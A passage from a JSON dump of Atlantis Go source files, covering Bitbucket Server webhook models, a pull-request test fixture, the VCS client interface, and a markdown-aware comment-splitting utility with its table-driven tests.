\"owner\",\n\t\t\t\tName:              \"repo\",\n\t\t\t\tSanitizedCloneURL: fmt.Sprintf(\"%s/scm/ow/repo.git\", testServer.URL),\n\t\t\t\tVCSHost: models.VCSHost{\n\t\t\t\t\tType:     models.BitbucketServer,\n\t\t\t\t\tHostname: \"bitbucket.org\",\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\tmodels.PullRequestOptions{\n\t\t\tDeleteSourceBranchOnMerge: true,\n\t\t},\n\t)\n\tOk(t, err)\n}\n\nfunc TestClient_MarkdownPullLink(t *testing.T) {\n\tclient, err := bitbucketserver.NewClient(nil, \"u\", \"p\", \"https://base-url\", \"atlantis-url\")\n\tOk(t, err)\n\tpull := models.PullRequest{Num: 1}\n\ts, _ := client.MarkdownPullLink(pull)\n\texp := \"#1\"\n\tEquals(t, exp, s)\n}\n"
  },
  {
    "path": "server/events/vcs/bitbucketserver/models.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage bitbucketserver\n\nconst (\n\tDiagnosticsPingHeader    = \"diagnostics:ping\"\n\tPullCreatedHeader        = \"pr:opened\"\n\tPullFromRefUpdatedHeader = \"pr:from_ref_updated\"\n\tPullMergedHeader         = \"pr:merged\"\n\tPullDeclinedHeader       = \"pr:declined\"\n\tPullDeletedHeader        = \"pr:deleted\"\n\tPullCommentCreatedHeader = \"pr:comment:added\"\n)\n\ntype CommentEvent struct {\n\tCommonEventData\n\tComment *Comment `json:\"comment,omitempty\" validate:\"required\"`\n}\n\ntype PullRequestEvent struct {\n\tCommonEventData\n}\n\ntype CommonEventData struct {\n\tActor       *Actor       `json:\"actor,omitempty\" validate:\"required\"`\n\tPullRequest *PullRequest `json:\"pullRequest,omitempty\" validate:\"required\"`\n}\n\ntype PullRequest struct {\n\tVersion   *int    `json:\"version,omitempty\" validate:\"required\"`\n\tID        *int    `json:\"id,omitempty\" validate:\"required\"`\n\tFromRef   *Ref    `json:\"fromRef,omitempty\" validate:\"required\"`\n\tToRef     *Ref    `json:\"toRef,omitempty\" validate:\"required\"`\n\tState     *string `json:\"state,omitempty\" validate:\"required\"`\n\tReviewers []struct {\n\t\tApproved *bool `json:\"approved,omitempty\" validate:\"required\"`\n\t} `json:\"reviewers,omitempty\" validate:\"required\"`\n}\n\ntype Ref struct {\n\tRepository   *Repository `json:\"repository,omitempty\" validate:\"required\"`\n\tDisplayID    *string     `json:\"displayId,omitempty\" validate:\"required\"`\n\tLatestCommit *string     `json:\"latestCommit,omitempty\" validate:\"required\"`\n}\n\ntype Repository struct {\n\tSlug    *string  `json:\"slug,omitempty\" validate:\"required\"`\n\tProject *Project `json:\"project,omitempty\" validate:\"required\"`\n}\n\ntype Project struct {\n\tName *string `json:\"name,omitempty\" validate:\"required\"`\n\tKey  *string `json:\"key,omitempty\" validate:\"required\"`\n}\n\ntype Actor struct {\n\tUsername *string `json:\"name,omitempty\" validate:\"required\"`\n}\n\ntype Comment struct {\n\tText *string `json:\"text,omitempty\" validate:\"required\"`\n}\n\ntype Changes struct {\n\tValues []struct {\n\t\tPath struct {\n\t\t\tToString *string `json:\"toString,omitempty\" validate:\"required\"`\n\t\t} `json:\"path\" validate:\"required\"`\n\t\tSrcPath *struct {\n\t\t\tToString *string `json:\"toString,omitempty\"`\n\t\t} `json:\"srcPath,omitempty\"`\n\t} `json:\"values,omitempty\" validate:\"required\"`\n\tNextPageStart *int  `json:\"nextPageStart,omitempty\"`\n\tIsLastPage    *bool `json:\"isLastPage,omitempty\" validate:\"required\"`\n}\n\ntype MergeStatus struct {\n\tCanMerge   *bool `json:\"canMerge,omitempty\" validate:\"required\"`\n\tConflicted *bool `json:\"conflicted,omitempty\" validate:\"required\"`\n}\n"
  },
  {
    "path": "server/events/vcs/bitbucketserver/testdata/pull-request.json",
    "content": "{\n  \"id\": 2,\n  \"version\": 3,\n  \"title\": \"hi\",\n  \"state\": \"MERGED\",\n  \"open\": false,\n  \"closed\": true,\n  \"createdDate\": 1550611116280,\n  \"updatedDate\": 1550611904547,\n  \"closedDate\": 1550611904547,\n  \"fromRef\": {\n    \"id\": \"refs/heads/hi\",\n    \"displayId\": \"hi\",\n    \"latestCommit\": \"bdcaa224f4b65edb853a689404ef79cf47d8cdda\",\n    \"repository\": {\n      \"slug\": \"example\",\n      \"id\": 1,\n      \"name\": \"example\",\n      \"scmId\": \"git\",\n      \"state\": \"AVAILABLE\",\n      \"statusMessage\": \"Available\",\n      \"forkable\": true,\n      \"project\": {\n        \"key\": \"AT\",\n        \"id\": 1,\n        \"name\": \"atlantis\",\n        \"public\": false,\n        \"type\": \"NORMAL\",\n        \"links\": {\n          \"self\": [\n            {\n              \"href\": \"http://localhost:7990/projects/AT\"\n            }\n          ]\n        }\n      },\n      \"public\": false,\n      \"links\": {\n        \"clone\": [\n          {\n            \"href\": \"ssh://git@localhost:7999/at/example.git\",\n            \"name\": \"ssh\"\n          },\n          {\n            \"href\": \"http://localhost:7990/scm/at/example.git\",\n            \"name\": \"http\"\n          }\n        ],\n        \"self\": [\n          {\n            \"href\": \"http://localhost:7990/projects/AT/repos/example/browse\"\n          }\n        ]\n      }\n    }\n  },\n  \"toRef\": {\n    \"id\": \"refs/heads/main\",\n    \"displayId\": \"main\",\n    \"latestCommit\": \"59e03b9cc44e16e20741e328faaac26e377c07bf\",\n    \"repository\": {\n      \"slug\": \"example\",\n      \"id\": 1,\n      \"name\": \"example\",\n      \"scmId\": \"git\",\n      \"state\": \"AVAILABLE\",\n      \"statusMessage\": \"Available\",\n      \"forkable\": true,\n      \"project\": {\n        \"key\": \"AT\",\n        \"id\": 1,\n        \"name\": \"atlantis\",\n        \"public\": false,\n        \"type\": \"NORMAL\",\n        \"links\": {\n          \"self\": [\n            {\n              \"href\": \"http://localhost:7990/projects/AT\"\n            }\n          ]\n        }\n      },\n      \"public\": false,\n      \"links\": {\n        \"clone\": [\n          {\n            \"href\": \"ssh://git@localhost:7999/at/example.git\",\n            \"name\": \"ssh\"\n          },\n          {\n            \"href\": \"http://localhost:7990/scm/at/example.git\",\n            \"name\": \"http\"\n          }\n        ],\n        \"self\": [\n          {\n            \"href\": \"http://localhost:7990/projects/AT/repos/example/browse\"\n          }\n        ]\n      }\n    }\n  },\n  \"locked\": false,\n  \"author\": {\n    \"user\": {\n      \"name\": \"admin\",\n      \"emailAddress\": \"luke@hashicorp.com\",\n      \"id\": 1,\n      \"displayName\": \"admin\",\n      \"active\": true,\n      \"slug\": \"admin\",\n      \"type\": \"NORMAL\",\n      \"links\": {\n        \"self\": [\n          {\n            \"href\": \"http://localhost:7990/users/admin\"\n          }\n        ]\n      }\n    },\n    \"role\": \"AUTHOR\",\n    \"approved\": false,\n    \"status\": \"UNAPPROVED\"\n  },\n  \"reviewers\": [],\n  \"participants\": [],\n  \"links\": {\n    \"self\": [\n      {\n        \"href\": \"http://localhost:7990/projects/AT/repos/example/pull-requests/2\"\n      }\n    ]\n  }\n}\n"
  },
  {
    "path": "server/events/vcs/client.go",
    "content": "// Copyright 2017 HootSuite Media Inc.\n//\n// Licensed under the Apache License, Version 2.0 (the License);\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//    http://www.apache.org/licenses/LICENSE-2.0\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an AS IS BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n// Modified hereafter by contributors to runatlantis/atlantis.\n\npackage vcs\n\nimport (\n\t\"github.com/runatlantis/atlantis/server/events/models\"\n\t\"github.com/runatlantis/atlantis/server/logging\"\n)\n\n//go:generate pegomock generate --package mocks -o mocks/mock_client.go github.com/runatlantis/atlantis/server/events/vcs Client\n\n// Client is used to make API calls to a VCS host like GitHub or GitLab.\ntype Client interface {\n\t// GetModifiedFiles returns the names of files that were modified in the merge request\n\t// relative to the repo root, e.g. parent/child/file.txt.\n\tGetModifiedFiles(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest) ([]string, error)\n\tCreateComment(logger logging.SimpleLogging, repo models.Repo, pullNum int, comment string, command string) error\n\n\tReactToComment(logger logging.SimpleLogging, repo models.Repo, pullNum int, commentID int64, reaction string) error\n\tHidePrevCommandComments(logger logging.SimpleLogging, repo models.Repo, pullNum int, command string, dir string) error\n\tPullIsApproved(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest) (models.ApprovalStatus, error)\n\tPullIsMergeable(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest, vcsstatusname string, ignoreVCSStatusNames []string) (models.MergeableStatus, error)\n\t// UpdateStatus updates the commit status to state for pull. src is the\n\t// source of this status. This should be relatively static across runs,\n\t// ex. atlantis/plan or atlantis/apply.\n\t// description is a description of this particular status update and can\n\t// change across runs.\n\t// url is an optional link that users should click on for more information\n\t// about this status.\n\tUpdateStatus(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest, state models.CommitStatus, src string, description string, url string) error\n\tDiscardReviews(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest) error\n\tMergePull(logger logging.SimpleLogging, pull models.PullRequest, pullOptions models.PullRequestOptions) error\n\tMarkdownPullLink(pull models.PullRequest) (string, error)\n\tGetTeamNamesForUser(logger logging.SimpleLogging, repo models.Repo, user models.User) ([]string, error)\n\n\t// GetFileContent a repository file content from VCS (which support fetch a single file from repository)\n\t// The first return value indicates whether the repo contains a file or not\n\t// if BaseRepo had a file, its content will placed on the second return value\n\tGetFileContent(logger logging.SimpleLogging, repo models.Repo, branch string, fileName string) (bool, []byte, error)\n\tSupportsSingleFileDownload(repo models.Repo) bool\n\tGetCloneURL(logger logging.SimpleLogging, VCSHostType models.VCSHostType, repo string) (string, error)\n\n\t// GetPullLabels returns the labels of a pull request\n\tGetPullLabels(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest) ([]string, error)\n}\n"
  },
  {
    "path": "server/events/vcs/client_test.go",
    "content": "// Copyright 2017 HootSuite Media Inc.\n//\n// Licensed under the Apache License, Version 2.0 (the License);\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//    http://www.apache.org/licenses/LICENSE-2.0\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an AS IS BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n// Modified hereafter by contributors to runatlantis/atlantis.\n\npackage vcs\n\n// purposefully empty to trigger coverage report\n"
  },
  {
    "path": "server/events/vcs/common/common.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\n// Package common is used to share common code between all VCS clients without\n// running into circular dependency issues.\npackage common\n\nimport (\n\t\"crypto/tls\"\n\t\"fmt\"\n\t\"math\"\n\t\"net/http\"\n\n\t\"github.com/runatlantis/atlantis/server/logging\"\n)\n\n// ClosureType represents the type of markdown closure at a given position\ntype ClosureType int\n\nconst (\n\t// NoClosure means no special closure is needed\n\tNoClosure ClosureType = iota\n\t// CodeBlock means we're inside a code block (```)\n\tCodeBlock\n\t// DetailsBlock means we're inside a details block (<details>)\n\tDetailsBlock\n\t// CodeInDetails means we're inside a code block within a details block\n\tCodeInDetails\n\t// InlineCode means we're inside an inline code block (`)\n\tInlineCode\n)\n\n// SeparatorSet contains the separators for a specific closure type\ntype SeparatorSet struct {\n\tSepEnd           string\n\tSepStart         string\n\tTruncationHeader string\n}\n\n// GenerateSeparatorsFunc is a variable that holds the separator generation function\n// This allows it to be overridden for testing\nvar GenerateSeparatorsFunc = GenerateSeparators\n\n// GenerateSeparators creates separator sets for different closure types\nfunc GenerateSeparators(command string) map[ClosureType]SeparatorSet {\n\tseparators := make(map[ClosureType]SeparatorSet)\n\n\t// Base separators\n\tbaseEnd := \"\\n<br>\\n\\n**Warning**: Output length greater than max comment size. Continued in next comment.\"\n\tbaseStart := \"Continued from previous comment.\\n\"\n\tif command != \"\" {\n\t\tbaseStart = fmt.Sprintf(\"Continued %s output from previous comment.\\n\", command)\n\t}\n\tbaseTruncation := \"> [!WARNING]\\n> **Warning**: Command output is larger than the maximum number of comments per command. Output truncated.\\n\"\n\n\t// NoClosure separators\n\tseparators[NoClosure] = SeparatorSet{\n\t\tSepEnd:           baseEnd,\n\t\tSepStart:         baseStart,\n\t\tTruncationHeader: baseTruncation,\n\t}\n\n\t// CodeBlock separators\n\tseparators[CodeBlock] = SeparatorSet{\n\t\tSepEnd:           fmt.Sprintf(\"\\n```\\n%s\", baseEnd),\n\t\tSepStart:         fmt.Sprintf(\"%s```diff\\n\", baseStart),\n\t\tTruncationHeader: fmt.Sprintf(\"%s```diff\\n\", baseTruncation),\n\t}\n\n\t// DetailsBlock separators\n\tseparators[DetailsBlock] = SeparatorSet{\n\t\tSepEnd:           fmt.Sprintf(\"\\n</details>\\n%s\", baseEnd),\n\t\tSepStart:         fmt.Sprintf(\"%s<details><summary>Show Output</summary>\\n\\n```diff\\n\", baseStart),\n\t\tTruncationHeader: fmt.Sprintf(\"%s<details><summary>Show Output</summary>\\n\\n```diff\\n\", baseTruncation),\n\t}\n\n\t// CodeInDetails separators\n\tseparators[CodeInDetails] = SeparatorSet{\n\t\tSepEnd:           fmt.Sprintf(\"\\n```\\n</details>\\n%s\", baseEnd),\n\t\tSepStart:         fmt.Sprintf(\"%s```diff\\n\", baseStart),\n\t\tTruncationHeader: fmt.Sprintf(\"%s```diff\\n\", baseTruncation),\n\t}\n\n\t// InlineCode separators\n\tseparators[InlineCode] = SeparatorSet{\n\t\tSepEnd:           fmt.Sprintf(\"`\\n%s\", baseEnd),\n\t\tSepStart:         fmt.Sprintf(\"%s`\", baseStart),\n\t\tTruncationHeader: fmt.Sprintf(\"%s`\", baseTruncation),\n\t}\n\n\treturn separators\n}\n\n// detectClosureType determines what type of closure is needed at a given position in the comment\nfunc detectClosureType(comment string, position int) ClosureType {\n\t// Track whether we're inside code blocks and details blocks\n\tinCodeBlock := false\n\tdetailsBlockCount := 0\n\tinInlineCode := false\n\n\t// Look at the text up to the position\n\ttext := comment[:position]\n\n\t// Process character by character to handle inline code properly\n\ti := 0\n\tfor i < len(text) {\n\t\tchar := text[i]\n\n\t\t// Check for triple backticks (code blocks)\n\t\tif i <= len(text)-3 && text[i:i+3] == \"```\" {\n\t\t\tinCodeBlock = !inCodeBlock\n\t\t\ti += 3\n\t\t\tcontinue\n\t\t}\n\n\t\t// Check for single backticks (inline code) - only if not in a code block\n\t\tif char == '`' && !inCodeBlock {\n\t\t\tinInlineCode = !inInlineCode\n\t\t}\n\n\t\t// Check for details block markers\n\t\tif char == '<' {\n\t\t\tif i <= len(text)-9 && text[i:i+9] == \"<details>\" {\n\t\t\t\tdetailsBlockCount++\n\t\t\t\ti += 9\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tif i <= len(text)-10 && text[i:i+10] == \"</details>\" {\n\t\t\t\tdetailsBlockCount--\n\t\t\t\ti += 10\n\t\t\t\tcontinue\n\t\t\t}\n\t\t}\n\n\t\ti++\n\t}\n\n\t// Determine closure type based on current state\n\tif detailsBlockCount > 0 && inCodeBlock {\n\t\treturn CodeInDetails\n\t} else if inCodeBlock {\n\t\treturn CodeBlock\n\t} else if detailsBlockCount > 0 {\n\t\treturn DetailsBlock\n\t} else if inInlineCode {\n\t\treturn InlineCode\n\t}\n\n\treturn NoClosure\n}\n\n// AutomergeCommitMsg returns the commit message to use when automerging.\nfunc AutomergeCommitMsg(pullNum int) string {\n\treturn fmt.Sprintf(\"[Atlantis] Automatically merging after successful apply: PR #%d\", pullNum)\n}\n\n/*\nSplitComment splits comment into a slice of comments that are under maxSize.\n- It appends appropriate SepEnd to all comments that have a following comment based on closure type.\n- It prepends appropriate SepStart to all comments that have a preceding comment based on closure type.\n- If maxCommentsPerCommand is non-zero, it never returns more than maxCommentsPerCommand\ncomments, and it truncates the beginning of the comment to preserve the end of the comment string,\nwhich usually contains more important information, such as warnings, errors, and the plan summary.\n- SplitComment appends the appropriate TruncationHeader to the first comment if it would have produced more comments.\n*/\nfunc SplitComment(logger logging.SimpleLogging, comment string, maxSize int, maxCommentsPerCommand int, command string) []string {\n\tif len(comment) <= maxSize {\n\t\treturn []string{comment}\n\t}\n\n\t// Generate separators for different closure types\n\tseparators := GenerateSeparatorsFunc(command)\n\n\t// Calculate initial estimate for number of comments using a more accurate separator length\n\t// We'll refine this as we go with per-split calculation\n\testimatedSepLength := 30 // More accurate estimate based on typical separator lengths\n\tmaxContentSize := maxSize - estimatedSepLength\n\tif maxContentSize <= 0 {\n\t\treturn []string{comment}\n\t}\n\n\tvar comments []string\n\tnumPotentialComments := int(math.Ceil(float64(len(comment)) / float64(maxContentSize)))\n\tvar numComments int\n\tif maxCommentsPerCommand == 0 {\n\t\tnumComments = numPotentialComments\n\t} else {\n\t\tnumComments = min(numPotentialComments, maxCommentsPerCommand)\n\t}\n\tisTruncated := numComments < numPotentialComments\n\n\tupTo := len(comment)\n\n\tfor len(comments) < numComments {\n\t\t// Detect closure type at the split position\n\t\tclosureType := detectClosureType(comment, upTo)\n\t\tsepSet := separators[closureType]\n\n\t\t// Determine what separators this comment will need based on final array position\n\t\tcurrentCommentIndex := len(comments)\n\t\tisFirstCommentInArray := (currentCommentIndex + 1) == numComments // This portion becomes the first comment in final array\n\t\tisLastCommentInArray := currentCommentIndex == 0                  // This portion becomes the last comment in final array\n\n\t\tvar startSepLength, endSepLength int\n\t\t// Calculate startSepLength\n\t\tswitch {\n\t\tcase isFirstCommentInArray && isTruncated:\n\t\t\tstartSepLength = len(sepSet.TruncationHeader)\n\t\tcase !isFirstCommentInArray:\n\t\t\tstartSepLength = len(sepSet.SepStart)\n\t\tdefault:\n\t\t\tstartSepLength = 0\n\t\t}\n\n\t\t// Calculate endSepLength\n\t\tif isLastCommentInArray {\n\t\t\tendSepLength = 0\n\t\t} else {\n\t\t\tendSepLength = len(sepSet.SepEnd)\n\t\t}\n\n\t\t// Calculate split position with exact separator lengths\n\t\ttotalSepLength := startSepLength + endSepLength\n\t\tmaxContentSize := maxSize - totalSepLength\n\n\t\tif maxContentSize <= 0 {\n\t\t\treturn []string{comment}\n\t\t}\n\n\t\tdownFrom := max(0, upTo-maxContentSize)\n\n\t\t// Skip empty portions\n\t\tif downFrom >= upTo {\n\t\t\tbreak\n\t\t}\n\n\t\tportion := comment[downFrom:upTo]\n\n\t\t// Apply the separators we calculated\n\n\t\t// Apply separators in a clear order: start, then end\n\t\tswitch {\n\t\tcase isFirstCommentInArray && isTruncated:\n\t\t\tportion = sepSet.TruncationHeader + portion\n\t\tcase !isFirstCommentInArray:\n\t\t\tportion = sepSet.SepStart + portion\n\t\t}\n\n\t\tif !isLastCommentInArray {\n\t\t\tportion += sepSet.SepEnd\n\t\t}\n\n\t\tcomments = append([]string{portion}, comments...)\n\t\tupTo = downFrom\n\t}\n\n\treturn comments\n}\n\n// disableSSLVerification disables ssl verification for the global http client\n// and returns a function to be called in a defer that will re-enable it.\nfunc DisableSSLVerification() func() {\n\torig := http.DefaultTransport.(*http.Transport).TLSClientConfig\n\t// nolint: gosec\n\thttp.DefaultTransport.(*http.Transport).TLSClientConfig = &tls.Config{InsecureSkipVerify: true}\n\treturn func() {\n\t\thttp.DefaultTransport.(*http.Transport).TLSClientConfig = orig\n\t}\n}\n"
  },
  {
    "path": "server/events/vcs/common/common_test.go",
    "content": "// Copyright 2017 HootSuite Media Inc.\n//\n// Licensed under the Apache License, Version 2.0 (the License);\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//    http://www.apache.org/licenses/LICENSE-2.0\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an AS IS BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n// Modified hereafter by contributors to runatlantis/atlantis.\n\npackage common_test\n\nimport (\n\t\"fmt\"\n\t\"strings\"\n\t\"testing\"\n\n\t\"github.com/runatlantis/atlantis/server/events/vcs/common\"\n\t\"github.com/runatlantis/atlantis/server/logging\"\n\t. \"github.com/runatlantis/atlantis/testing\"\n)\n\n// Test dynamic separator functionality with table-driven tests\nfunc TestSplitComment_DynamicSeparators(t *testing.T) {\n\tlogger := logging.NewNoopLogger(t)\n\n\t// Override separators for testing with shorter, predictable values\n\toriginalGenerateSeparators := common.GenerateSeparatorsFunc\n\tcommon.GenerateSeparatorsFunc = func(command string) map[common.ClosureType]common.SeparatorSet {\n\t\tlogger.Debug(\"Generating separators for command: %s\", command)\n\t\tbaseStart := \"<!-- START -->\"\n\t\tif command != \"\" {\n\t\t\tbaseStart = fmt.Sprintf(\"<!-- START %s -->\", command)\n\t\t}\n\t\treturn map[common.ClosureType]common.SeparatorSet{\n\t\t\tcommon.NoClosure: {\n\t\t\t\tSepEnd:           \"<!-- END -->\",\n\t\t\t\tSepStart:         baseStart,\n\t\t\t\tTruncationHeader: \"<!-- TRUNCATED -->\",\n\t\t\t},\n\t\t\tcommon.CodeBlock: {\n\t\t\t\tSepEnd:           \"```\\n<!-- END -->\",\n\t\t\t\tSepStart:         fmt.Sprintf(\"```diff\\n%s\", baseStart),\n\t\t\t\tTruncationHeader: \"```diff\\n<!-- TRUNCATED -->\",\n\t\t\t},\n\t\t\tcommon.DetailsBlock: {\n\t\t\t\tSepEnd:           \"</details>\\n<!-- END -->\",\n\t\t\t\tSepStart:         fmt.Sprintf(\"<details><summary>Show Output</summary>\\n%s\", baseStart),\n\t\t\t\tTruncationHeader: \"<details><summary>Show Output</summary>\\n<!-- TRUNCATED -->\",\n\t\t\t},\n\t\t\tcommon.CodeInDetails: {\n\t\t\t\tSepEnd:           \"```\\n</details>\\n<!-- END -->\",\n\t\t\t\tSepStart:         fmt.Sprintf(\"```diff\\n%s\", baseStart),\n\t\t\t\tTruncationHeader: \"```diff\\n<!-- TRUNCATED -->\",\n\t\t\t},\n\t\t\tcommon.InlineCode: {\n\t\t\t\tSepEnd:           \"`\\n<!-- END -->\",\n\t\t\t\tSepStart:         fmt.Sprintf(\"%s`\", baseStart),\n\t\t\t\tTruncationHeader: \"<!-- TRUNCATED -->`\",\n\t\t\t},\n\t\t}\n\t}\n\tdefer func() { common.GenerateSeparatorsFunc = originalGenerateSeparators }()\n\n\ttests := []struct {\n\t\tname             string\n\t\tcomment          string\n\t\tmaxSize          int\n\t\tmaxComments      int\n\t\tcommand          string\n\t\texpectedCount    int\n\t\texpectedComments []string\n\t}{\n\t\t{\n\t\t\tname:          \"UnderMax - Comment under max size\",\n\t\t\tcomment:       \"comment under max size\",\n\t\t\tmaxSize:       50,\n\t\t\tmaxComments:   0,\n\t\t\tcommand:       \"plan\",\n\t\t\texpectedCount: 1,\n\t\t\texpectedComments: []string{\n\t\t\t\t\"comment under max size\",\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tname:          \"TwoComments - Split into exactly 2 comments\",\n\t\t\tcomment:       strings.Repeat(\"a\", 1000),\n\t\t\tmaxSize:       999,\n\t\t\tmaxComments:   0,\n\t\t\tcommand:       \"plan\",\n\t\t\texpectedCount: 2,\n\t\t\texpectedComments: []string{\n\t\t\t\tstrings.Repeat(\"a\", 20) + \"<!-- END -->\",\n\t\t\t\t\"<!-- START plan -->\" + strings.Repeat(\"a\", 980),\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tname:          \"FourComments - Split into multiple comments\",\n\t\t\tcomment:       strings.Repeat(\"a\", 1000),\n\t\t\tmaxSize:       300,\n\t\t\tmaxComments:   0,\n\t\t\tcommand:       \"plan\",\n\t\t\texpectedCount: 4,\n\t\t\texpectedComments: []string{\n\t\t\t\tstrings.Repeat(\"a\", 181) + \"<!-- END -->\",\n\t\t\t\t\"<!-- START plan -->\" + strings.Repeat(\"a\", 269) + \"<!-- END -->\",\n\t\t\t\t\"<!-- START plan -->\" + strings.Repeat(\"a\", 269) + \"<!-- END -->\",\n\t\t\t\t\"<!-- START plan -->\" + strings.Repeat(\"a\", 281),\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tname:          \"Limited - Truncation with comment limit\",\n\t\t\tcomment:       strings.Repeat(\"a\", 1000),\n\t\t\tmaxSize:       300,\n\t\t\tmaxComments:   2,\n\t\t\tcommand:       \"plan\",\n\t\t\texpectedCount: 2,\n\t\t\texpectedComments: []string{\n\t\t\t\t\"<!-- TRUNCATED -->\" + strings.Repeat(\"a\", 270) + \"<!-- END -->\",\n\t\t\t\t\"<!-- START plan -->\" + strings.Repeat(\"a\", 281),\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tname:          \"NoClosure - Basic text splitting\",\n\t\t\tcomment:       \"This is a long comment that will be split. \" + strings.Repeat(\"This is additional content to make the comment longer so it will be split. \", 5),\n\t\t\tmaxSize:       200,\n\t\t\tmaxComments:   0,\n\t\t\tcommand:       \"plan\",\n\t\t\texpectedCount: 3,\n\t\t\texpectedComments: []string{\n\t\t\t\t\"This is a long comment that will be split. This is additional conten<!-- END -->\",\n\t\t\t\t\"<!-- START plan -->t to make the comment longer so it will be split. This is additional content to make the comment longer so it will be split. This is additional content to make the comme<!-- END -->\",\n\t\t\t\t\"<!-- START plan -->nt longer so it will be split. This is additional content to make the comment longer so it will be split. This is additional content to make the comment longer so it will be split. \",\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tname:          \"CodeBlock - Splitting within code block\",\n\t\t\tcomment:       \"Here's some code:\\n```\\nterraform plan\\noutput here\\n```\\nAnd more text. \" + strings.Repeat(\"This is additional content to make the comment longer so it will be split. \", 3),\n\t\t\tmaxSize:       200,\n\t\t\tmaxComments:   0,\n\t\t\tcommand:       \"plan\",\n\t\t\texpectedCount: 2,\n\t\t\texpectedComments: []string{\n\t\t\t\t\"Here's some code:\\n```\\nterraform plan\\noutput here\\n```\\nAnd more text. This is additional content to make the comme<!-- END -->\",\n\t\t\t\t\"<!-- START plan -->nt longer so it will be split. This is additional content to make the comment longer so it will be split. This is additional content to make the comment longer so it will be split. \",\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tname:          \"DetailsBlock - Splitting within details block\",\n\t\t\tcomment:       \"<details><summary>Show Output</summary>\\n\\nSome details content here. \" + strings.Repeat(\"This is additional content to make the comment longer so it will be split. \", 4) + \"\\n</details>\",\n\t\t\tmaxSize:       200,\n\t\t\tmaxComments:   0,\n\t\t\tcommand:       \"plan\",\n\t\t\texpectedCount: 3,\n\t\t\texpectedComments: []string{\n\t\t\t\t\"<details><summary>Show Output</summary>\\n\\nSome details content here. This is addi</details>\\n<!-- END -->\",\n\t\t\t\t\"<details><summary>Show Output</summary>\\n<!-- START plan -->tional content to make the comment longer so it will be split. This is additional content to make the comment longer s</details>\\n<!-- END -->\",\n\t\t\t\t\"<!-- START plan -->o it will be split. This is additional content to make the comment longer so it will be split. This is additional content to make the comment longer so it will be split. \\n</details>\",\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tname:          \"CodeInDetails - Splitting within code block inside details\",\n\t\t\tcomment:       \"<details><summary>Show Output</summary>\\n\\n```\\nterraform apply\\nsome output\\n```\\n</details>\\nMore content. \" + strings.Repeat(\"This is additional content to make the comment longer so it will be split. \", 3),\n\t\t\tmaxSize:       200,\n\t\t\tmaxComments:   0,\n\t\t\tcommand:       \"apply\",\n\t\t\texpectedCount: 2,\n\t\t\texpectedComments: []string{\n\t\t\t\t\"<details><summary>Show Output</summary>\\n\\n```\\nterraform apply\\nsome output\\n```\\n</details>\\nMore content. This is additional content to make the commen<!-- END -->\",\n\t\t\t\t\"<!-- START apply -->t longer so it will be split. This is additional content to make the comment longer so it will be split. This is additional content to make the comment longer so it will be split. \",\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tname:          \"InlineCode - Splitting within inline code block\",\n\t\t\tcomment:       \"Here is some text with a very long inline code: `\" + strings.Repeat(\"some_very_long_function_name_\", 15) + \"` and more text after.\",\n\t\t\tmaxSize:       200,\n\t\t\tmaxComments:   0,\n\t\t\tcommand:       \"plan\",\n\t\t\texpectedCount: 3,\n\t\t\texpectedComments: []string{\n\t\t\t\t\"Here is some text with a very long inline code: `some_very_long_function_name_some_very_long_function_name_some_very_long_function_name_some_very_long_function`\\n<!-- END -->\",\n\t\t\t\t\"<!-- START plan -->`_name_some_very_long_function_name_some_very_long_function_name_some_very_long_function_name_some_very_long_function_name_some_very_long_function_name_some_very_long_`\\n<!-- END -->\",\n\t\t\t\t\"<!-- START plan -->function_name_some_very_long_function_name_some_very_long_function_name_some_very_long_function_name_some_very_long_function_name_some_very_long_function_name_` and more text after.\",\n\t\t\t},\n\t\t},\n\t}\n\n\tfor _, tt := range tests {\n\t\tt.Run(tt.name, func(t *testing.T) {\n\t\t\tsplit := common.SplitComment(logger, tt.comment, tt.maxSize, tt.maxComments, tt.command)\n\n\t\t\tAssert(t, len(split) == tt.expectedCount, \"Expected %d comments, got %d\", tt.expectedCount, len(split))\n\n\t\t\t// Compare each comment with expected output\n\t\t\tfor i, expected := range tt.expectedComments {\n\t\t\t\tif i < len(split) {\n\t\t\t\t\tAssert(t, split[i] == expected,\n\t\t\t\t\t\t\"Comment %d mismatch:\\nExpected: %s\\nGot:      %s\",\n\t\t\t\t\t\ti, expected, split[i])\n\t\t\t\t}\n\t\t\t\t// Verify comment doesn't exceed maxSize\n\t\t\t\tif len(split[i]) > tt.maxSize {\n\t\t\t\t\tt.Errorf(\"Comment %d exceeds maxSize! Length: %d > %d\", i, len(split[i]), tt.maxSize)\n\t\t\t\t}\n\n\t\t\t}\n\t\t})\n\t}\n}\n\nfunc TestAutomergeCommitMsg(t *testing.T) {\n\ttests := []struct {\n\t\tname    string\n\t\tpullNum 